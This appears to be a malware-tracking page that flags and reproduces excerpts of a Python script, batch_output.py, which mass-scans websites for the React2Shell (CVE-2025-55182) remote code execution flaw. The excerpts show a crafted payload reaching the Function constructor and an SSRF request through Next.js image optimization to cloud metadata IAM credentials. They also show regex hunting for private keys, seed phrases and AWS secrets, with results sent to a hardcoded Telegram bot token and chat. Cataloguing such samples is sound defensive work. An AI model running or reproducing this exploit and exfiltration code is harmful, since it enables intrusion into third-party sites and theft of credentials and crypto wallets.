batch_output.py
Image optimizer SSRF seeks IAM credentialsPython Telegram bot uploads local files
SHA-2567203871a2232b029ced06ada8f1be6a684f20104ddde91e41fbad022616faef9
Also flagged by https://opensourcemalware.com/rss.xml (React2STEAL Uses GitHub Actions to Exploit React2Shell).
Evidence
1"""
2Batch Scanner with Full Output Capture + Telegram Alerts
3CVE-2025-55182 (React2Shell) — React Server Components RCE
4Scans a list of websites, saves output, checks for crypto keys/secrets, and sends to Telegram.
5
6FIXED + HARDENED — BOT TOKEN UPDATED TO @Haf[redacted]Bot
7"""
8
9from __future__ import annotations
10
11import argparse
12import asyncio
13import aiohttp
14import os
15import json
16import binascii
17import re
18import zlib
19import shutil
20import requests
21from datetime import datetime
22from functools import lru_cache
23from typing import Any, Dict, List, Tuple
24
25from jsmin import jsmin
26
27DIGEST_PATTERN = re.compile(rb'"digest"\s*:\s*"([0-9a-fA-F]+)"')
28
29# === TELEGRAM CONFIG — @Haf[redacted]Bot ===
30TELEGRAM_BOT_TOKEN = "8647429734:AAHtD2vgBTePHTEonGq9wh03DXKvxKK001Y" # @Haf[redacted]Bot
31TELEGRAM_CHAT_ID = "8725127583" # [redacted]'s chat
32
33# Patterns for detecting crypto keys and secrets
34CRYPTO_KEY_PATTERNS = {
35 "EVM_PRIVATE_KEY": re.compile(r'0x[a-fA-F0-9]{64}\b'), # Ethereum/EVM private keys (64 hex chars) …
42:3… "SEED_PHRASE", "SEEDPHRASE", "MNEMONIC",
43 "SOLANA_PRIVATE", "SOL_PRIVATE", "BTC_PRIVATE", "ETH_PRIVATE",
44 "WALLET_KEY", "BITCOINVN", "BTCPAY",
45 "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY",
46 "DATABASE_URL", "REDIS_URL", "MONGO_URI",
47]
48
49
50def send_telegram_message(message: str, parse_mode: str = "HTML") -> bool:
51 """Send a message to Telegram bot."""
52 try:
53 url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
54 payload = {
55 "chat_id": TELEGRAM_CHAT_ID,
56 "text": message,
57 "parse_mode": parse_mode,
58 "disable_web_page_preview": True
59 }
60 resp = requests.post(url, json=payload, timeout=30)
61 return resp.status_code == 200
62 except Exception as e:
63 print(f"[!] Telegram send error: {e}")
64 return False
65
66
67def send_telegram_document(filepath: str, caption: str = "", retries: int = 3) -> bool:
68 """Send a file to Telegram bot with retry on rate limit."""
69 import time
70
71 for attempt in range(retries):
72 try:
73 url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendDocument"
74 with open(filepath, 'rb') as f:
75 files = {'document': f}
76 data = {'chat_id': TELEGRAM_CHAT_ID, 'caption': caption[:1024]}
77 resp = requests.post(url, files=files, data=data, timeout=120)
78
79 if resp.status_code == 200:
80 return True
81 elif resp.status_code == 429:
82 try:
83 retry_after = resp.json().get('parameters', {}).get('retry_after', 30)
84 except:
85 retry_after = 30
86 print(f" ⏳ Rate limited, waiting {retry_after}s...")
87 time.sleep(retry_after + 1)
88 else:
89 print(f" Telegram API error: {resp.text[:200]}")
206:51… # JS code executed via Function()
207 "_formData": {
208 "get": "$1:constructor:constructor", # → Function constructor
209 },
210 },
⋯5 lines
216 part0 = (
217 f"--{boundary}\r\n"
218 f'Content-Disposition: form-data; name="0"\r\n\r\n'
219 f"{json.dumps(crafted_chunk)}\r\n"
220 )
221 part1 = (
222 f"--{boundary}\r\n"
223 f'Content-Disposition: form-data; …
506:6… try:
507 base_url = target if target.startswith("http") else f"https://{target}"
508 role_url = (f"{base_url}/_next/image?url=http://169.254.169.254/latest/"
509 "meta-data/iam/security-credentials/&w=64&q=75")
510 async with session.get(role_url, ssl=False, timeout=timeout,
511 allow_redirects=True) as r:
512 role_body = await r.read()
513 role = role_body.decode("utf-8", "replace").strip() …
622:29… d in: {output_dir}")
623
624 # === Post-scan analysis ===
625 print("\n[*] Analyzing results...")
626 critical_findings = []
627
628 for filename in sorted(os.listdir(output_dir)):
629 if filename.startswith('_') or not filename.endswith('.json'):
630 continue
631
632 filepath = os.path.join(output_dir, filename)
633 try:
634 with open(filepath, 'r', encoding='utf-8') as f:
635 file_data = json.load(f)
636
637 target = file_data.get('target', filename)
638 data = file_data.get('data', file_data)
639
640 cri …